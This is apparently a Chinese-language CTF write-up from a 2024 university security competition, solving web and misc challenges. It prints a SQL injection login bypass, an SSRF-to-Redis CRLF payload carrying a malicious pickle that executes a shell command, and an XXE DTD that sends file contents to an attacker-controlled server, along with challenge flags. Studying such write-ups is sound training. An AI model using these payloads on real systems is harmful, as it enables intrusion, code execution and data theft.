2024年高校网络安全管理运维赛——实践能力赛
web
phpsql
登录页面,密码输入单引号会报错,密码处存在sql注入
测试了一下,过滤了空格admin
'or''='
登录
pyssrf
嗷,我的上帝,怎么还会有人在用python:3.7.1。flag文件位置:/flag
源码
1 |
|
这里把url的md5当键名保存在redis,这里pickle.loads有反序列化漏洞,构造恶意pickle序列化的内容然后存入redis,当redis里缓存了之后再次访问就会触发pickle.loads反序列化
找urllib.request.urlopen的漏洞可以找到https://cloud.tencent.com/developer/article/1582092
用crlf可以注入到redis
这里先获取redis的url来当key
1 |
|
这里开了debug可以利用报错
1 |
|
payload
?url=127.0.0.1:6379?%0D%0Aset%20cbdecc92165b29374b6b62cca016d4f8%20gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ3RhYyAvZmxhZycpLnJlYWQoKSmUhZRSlC4=%0D%0Apadding
fileit
flag保存在根目录的flag文件中
源码注释
xxe,没回显
vps起一个python http.server
1.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:port/?f=%file;'>">
payload
1 |
|
misc
签到
逐帧提取 然后解rot13
钓鱼邮件识别
flag{WElcoMEto}
flag{PhIshhuntInG}
{N0wY0u
_Kn0wH0wt0_
ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}
Apache
附件有一个dockerfile 显示的是apache 2.4.49版本,发现一个rce漏洞
https://www.freebuf.com/articles/web/293172.html
1 |
|
Gateway
1 |
|
Ascii然后凯撒flag{ad1985868133e8cf1828cb84adbe5a5b}
f or r
参考https://qanux.github.io/2024/04/22/geek2024/index.html
下载下面版本的curl
magnet:?xt=urn:btih:f98cc874544405d3f4598637df263d0b0431eb2a&dn=zh-cn_windows_10_business_editions_version_22h2_updated_april_2024_x64_dvd_a2873093.iso&xl=6433263616
进入到这个amd的目录,把里面的curl.exe和里面复制出来,把r文件夹里面的curl.exe覆盖到题目的r文件夹flag{dc1d03c554150acedca6d71ce394}
zip
程序把队伍token当压缩包密码用,但是压缩包密码要和token相同,又不能超过64个字符,否则会导致压缩失败,所以取token的前64个字符就可以了。
由于flag不在根目录,要从tmp/flag压缩之后再解压到根目录才能读取
而程序实现flag的打印逻辑也有问题:输入的是flag{,后面无论是什么内容都能通过进而打印flag
现在要实现的是:既要使得压缩包能用正确密码(token前64位)解压,又要能绕过flag验证,即密码开头必须是flag{才能打印
看似矛盾,但由于压缩过程是开了一个tty终端,所以可以用DEL控制字符实现: 输入flag{,然后再把这几个字符删了,再输入token
1 |
|
SecretDB
010打开,几乎都是空数据
在有数据的块里面找到了相似的结构010f
尝试发现010f后的第一个字节是顺序第二个字节是数据,如第一个17 2D表示第17位是-
把数据都记录出来
1 |
|
发现第三个-后面2d前面缺了一位,补上8 flag正确flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}
easyshell
冰蝎流量
在1278流中得到压缩包
aes解密再解base64解密两次,保存压缩包
得到
在这个1982流得到信息
1 |
|
使用下面的方法压缩上面字符保存的txt
crc相同,明文攻击
得到压缩包密码A8s123/+*
1 |
|